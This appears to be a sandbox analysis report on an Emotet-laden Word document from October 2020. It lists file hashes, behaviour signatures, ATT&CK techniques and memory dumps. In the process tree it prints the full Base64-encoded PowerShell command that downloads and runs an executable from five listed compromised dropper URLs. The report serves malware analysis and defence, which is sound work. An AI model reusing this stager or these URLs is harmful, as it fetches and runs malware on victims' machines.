Overview

overview

10

Static

static

8

SlurpeeDOC

windows10_x64

10

Analysis

  • max time kernel
    13s
  • max time network
    13s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    02-10-2020 16:38

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    emotet_e2_3428165d15589ba9839556bad72d2162fee77247499f3ae6b0016a697877169a_2020-10-02__163613875148._fpx.doc

  • Size

    125KB

  • MD5

    659f175cbd422379fe3a6a63c5b1f640

  • SHA1

    61af3732c39c9ec9e6b0bd1234eba2ccfe8a42e6

  • SHA256

    5d7bd5ab1f0ef9fe49f97b49fc955f64a9878fc341650143d572b24126f1284b

  • SHA512

    bfe05e59cce39f8747a0ee1186a4a4f6d8834882972bf238f0dcd6743314871df4cb11e824e382ed95cb29808e7e0d75d6ab6d3aec69532d7865171a5e50aa87

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://atlanticsg.com/wp-includes/fsfrz22_mkp29qlby-69478/
exe.dropper

http://eastpennlandscape.com/css/qhJUtdBFvM/
exe.dropper

http://mcs-interiors.co.uk/cgi-bin/MUbadZUIXD/
exe.dropper

http://laderajabugo.navicu.com/wp-admin/6ohv5j_6m40d-4652183/
exe.dropper

http://banphongresort.com/wp-includes/8hxbg02o_wkpvf-27459009/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 5 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_3428165d15589ba9839556bad72d2162fee77247499f3ae6b0016a697877169a_2020-10-02__163613875148._fpx.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3104
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy bypass -noprofile -e JABRAG4AZgB6AGoASAB3AD0AJwBGAGkAcQBMAGwAdwAnADsAJABOAGwATQBJAGQAawAgAD0AIAAnADcAMAA2ACcAOwAkAHcAcwBOAGQAMAA1AD0AJwBYAGgAUgBpAGkATwBQAGwAJwA7ACQAdQBVAEkARQBPAGYAMgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAGwATQBJAGQAawArACcALgBlAHgAZQAnADsAJABaAEUAdwBCAFIAUwBPAD0AJwBuAEYAcAB6AGkAdwAnADsAJABUAHAAUwA0ADYAcwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBgAGUAdABgAC4AdwBFAGIAQwBgAGwASQBFAE4AdAA7ACQARAB3AGIAOQB6AHMAVwA9ACcAaAB0AHQAcABzADoALwAvAGEAdABsAGEAbgB0AGkAYwBzAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGYAcwBmAHIAegAyADIAXwBtAGsAcAAyADkAcQBsAGIAeQAtADYAOQA0ADcAOAAvAEAAaAB0AHQAcAA6AC8ALwBlAGEAcwB0AHAAZQBuAG4AbABhAG4AZABzAGMAYQBwAGUALgBjAG8AbQAvAGMAcwBzAC8AcQBoAEoAVQB0AGQAQgBGAHYATQAvAEAAaAB0AHQAcAA6AC8ALwBtAGMAcwAtAGkAbgB0AGUAcgBpAG8AcgBzAC4AYwBvAC4AdQBrAC8AYwBnAGkALQBiAGkAbgAvAE0AVQBiAGEAZABaAFUASQBYAEQALwBAAGgAdAB0AHAAOgAvAC8AbABhAGQAZQByAGEAagBhAGIAdQBnAG8ALgBuAGEAdgBpAGMAdQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANgBvAGgAdgA1AGoAXwA2AG0ANAAwAGQALQA0ADYANQAyADEAOAAzAC8AQABoAHQAdABwADoALwAvAGIAYQBuAHAAaABvAG4AZwByAGUAcwBvAHIAdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOABoAHgAYgBnADAAMgBvAF8AdwBrAHAAdgBmAC0AMgA3ADQANQA5ADAAMAA5AC8AJwAuAHMAUABsAEkAdAAoACcAQAAnACkAOwAkAEIAUwAyAHAAbQA1AHQAPQAnAGgAegBuAFUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABHAGkAbQA4AHoAXwBHAFIAIABpAG4AIAAkAEQAdwBiADkAegBzAFcAKQB7AHQAcgB5AHsAJABUAHAAUwA0ADYAcwAuAEQAbwBXAE4ATABPAEEAZABmAEkATABFACgAJABHAGkAbQA4AHoAXwBHAFIALAAgACQAdQBVAEkARQBPAGYAMgB6ACkAOwAkAEwAUQBYADYAYQA2AD0AJwBoAEoAcwB6AHMAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHUAVQBJAEUATwBmADIAegApAC4ATABFAE4ARwB0AEgAIAAtAGcAZQAgADMAMwA2ADkAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAcwB0AEEAcgB0ACgAJAB1AFUASQBFAE8AZgAyAHoAKQA7ACQATABTAEkAMwA0AEsARgA9ACcAaABjAEgANwBWAGYAJwA7AGIAcgBlAGEAawA7ACQATwBoADUAdABtAFkAbQA9ACcAbgBBADQAaQAyAEcAYQB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAWQBVAEYAUwBqAD0AJwBvAEcAcwB3AE4AdQAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1824

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1824-6-0x00007FF881010000-0x00007FF8819FC000-memory.dmp
    Filesize

    9.9MB

    Download
  • memory/1824-7-0x0000027B18030000-0x0000027B18031000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1824-8-0x0000027B306C0000-0x0000027B306C1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/3104-0-0x00007FF888680000-0x00007FF888D46000-memory.dmp
    Filesize

    6.8MB

    Download
  • memory/3104-1-0x00000235AE2DD000-0x00000235AE2E0000-memory.dmp
    Filesize

    12KB

    Download
  • memory/3104-2-0x00000235AE2E0000-0x00000235AE2E3000-memory.dmp
    Filesize

    12KB

    Download
  • memory/3104-3-0x00000235AE47F000-0x00000235AE481000-memory.dmp
    Filesize

    8KB

    Download
  • memory/3104-4-0x00000235AE2E0000-0x00000235AE2E3000-memory.dmp
    Filesize

    12KB

    Download
  • memory/3104-5-0x00000235AE47F000-0x00000235AE481000-memory.dmp
    Filesize

    8KB

    Download